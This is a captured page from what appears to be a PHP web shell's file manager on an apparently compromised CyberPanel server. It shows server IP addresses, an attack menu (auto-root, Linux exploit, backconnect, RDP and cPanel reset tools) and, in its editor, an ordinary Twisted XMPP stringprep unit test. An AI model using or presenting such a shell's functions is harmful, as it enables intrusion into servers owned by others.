Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
words /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
14
B
-rw-r--r--
test_basechat.py
2.42
KB
-rw-r--r--
test_basesupport.py
2.93
KB
-rw-r--r--
test_domish.py
19.36
KB
-rw-r--r--
test_irc.py
98.94
KB
-rw-r--r--
test_irc_service.py
9.81
KB
-rw-r--r--
test_ircsupport.py
10.36
KB
-rw-r--r--
test_jabberclient.py
16.16
KB
-rw-r--r--
test_jabbercomponent.py
13.58
KB
-rw-r--r--
test_jabbererror.py
11.08
KB
-rw-r--r--
test_jabberjid.py
6.72
KB
-rw-r--r--
test_jabberjstrports.py
945
B
-rw-r--r--
test_jabbersasl.py
8.95
KB
-rw-r--r--
test_jabbersaslmechanisms.py
5.83
KB
-rw-r--r--
test_jabberxmlstream.py
44.04
KB
-rw-r--r--
test_jabberxmppstringprep.py
5.31
KB
-rw-r--r--
test_service.py
27.99
KB
-rw-r--r--
test_tap.py
2.12
KB
-rw-r--r--
test_xishutil.py
9.11
KB
-rw-r--r--
test_xmlstream.py
5.92
KB
-rw-r--r--
test_xmpproutertap.py
2.34
KB
-rw-r--r--
test_xpath.py
10.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_jabberxmppstringprep.py
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. from twisted.trial import unittest from twisted.words.protocols.jabber.xmpp_stringprep import ( nameprep, nodeprep, resourceprep, ) class DeprecationTests(unittest.TestCase): """ Deprecations in L{twisted.words.protocols.jabber.xmpp_stringprep}. """ def test_crippled(self): """ L{xmpp_stringprep.crippled} is deprecated and always returns C{False}. """ from twisted.words.protocols.jabber.xmpp_stringprep import crippled warnings = self.flushWarnings(offendingFunctions=[self.test_crippled]) self.assertEqual(DeprecationWarning, warnings[0]["category"]) self.assertEqual( "twisted.words.protocols.jabber.xmpp_stringprep.crippled was " "deprecated in Twisted 13.1.0: crippled is always False", warnings[0]["message"], ) self.assertEqual(1, len(warnings)) self.assertEqual(crippled, False) class XMPPStringPrepTests(unittest.TestCase): """ The nodeprep stringprep profile is similar to the resourceprep profile, but does an extra mapping of characters (table B.2) and disallows more characters (table C.1.1 and eight extra punctuation characters). Due to this similarity, the resourceprep tests are more extensive, and the nodeprep tests only address the mappings additional restrictions. The nameprep profile is nearly identical to the nameprep implementation in L{encodings.idna}, but that implementation assumes the C{UseSTD4ASCIIRules} flag to be false. This implementation assumes it to be true, and restricts the allowed set of characters. The tests here only check for the differences. """ def testResourcePrep(self): self.assertEqual(resourceprep.prepare("resource"), "resource") self.assertNotEqual(resourceprep.prepare("Resource"), "resource") self.assertEqual(resourceprep.prepare(" "), " ") self.assertEqual(resourceprep.prepare("Henry \u2163"), "Henry IV") self.assertEqual( resourceprep.prepare( "foo\xad\u034f\u1806\u180b" "bar\u200b\u2060" "baz\ufe00\ufe08\ufe0f\ufeff" ), "foobarbaz", ) self.assertEqual(resourceprep.prepare("\u00a0"), " ") self.assertRaises(UnicodeError, resourceprep.prepare, "\u1680") self.assertEqual(resourceprep.prepare("\u2000"), " ") self.assertEqual(resourceprep.prepare("\u200b"), "") self.assertRaises(UnicodeError, resourceprep.prepare, "\u0010\u007f") self.assertRaises(UnicodeError, resourceprep.prepare, "\u0085") self.assertRaises(UnicodeError, resourceprep.prepare, "\u180e") self.assertEqual(resourceprep.prepare("\ufeff"), "") self.assertRaises(UnicodeError, resourceprep.prepare, "\uf123") self.assertRaises(UnicodeError, resourceprep.prepare, "\U000f1234") self.assertRaises(UnicodeError, resourceprep.prepare, "\U0010f234") self.assertRaises(UnicodeError, resourceprep.prepare, "\U0008fffe") self.assertRaises(UnicodeError, resourceprep.prepare, "\U0010ffff") self.assertRaises(UnicodeError, resourceprep.prepare, "\udf42") self.assertRaises(UnicodeError, resourceprep.prepare, "\ufffd") self.assertRaises(UnicodeError, resourceprep.prepare, "\u2ff5") self.assertEqual(resourceprep.prepare("\u0341"), "\u0301") self.assertRaises(UnicodeError, resourceprep.prepare, "\u200e") self.assertRaises(UnicodeError, resourceprep.prepare, "\u202a") self.assertRaises(UnicodeError, resourceprep.prepare, "\U000e0001") self.assertRaises(UnicodeError, resourceprep.prepare, "\U000e0042") self.assertRaises(UnicodeError, resourceprep.prepare, "foo\u05bebar") self.assertRaises(UnicodeError, resourceprep.prepare, "foo\ufd50bar") # self.assertEqual(resourceprep.prepare(u'foo\ufb38bar'), # u'foo\u064ebar') self.assertRaises(UnicodeError, resourceprep.prepare, "\u06271") self.assertEqual(resourceprep.prepare("\u06271\u0628"), "\u06271\u0628") self.assertRaises(UnicodeError, resourceprep.prepare, "\U000e0002") def testNodePrep(self): self.assertEqual(nodeprep.prepare("user"), "user") self.assertEqual(nodeprep.prepare("User"), "user") self.assertRaises(UnicodeError, nodeprep.prepare, "us&er") def test_nodeprepUnassignedInUnicode32(self): """ Make sure unassigned code points from Unicode 3.2 are rejected. """ self.assertRaises(UnicodeError, nodeprep.prepare, "\u1d39") def testNamePrep(self): self.assertEqual(nameprep.prepare("example.com"), "example.com") self.assertEqual(nameprep.prepare("Example.com"), "example.com") self.assertRaises(UnicodeError, nameprep.prepare, "ex@mple.com") self.assertRaises(UnicodeError, nameprep.prepare, "-example.com") self.assertRaises(UnicodeError, nameprep.prepare, "example-.com") self.assertEqual( nameprep.prepare("stra\u00dfe.example.com"), "strasse.example.com" ) def test_nameprepTrailingDot(self): """ A trailing dot in domain names is preserved. """ self.assertEqual(nameprep.prepare("example.com."), "example.com.")
Close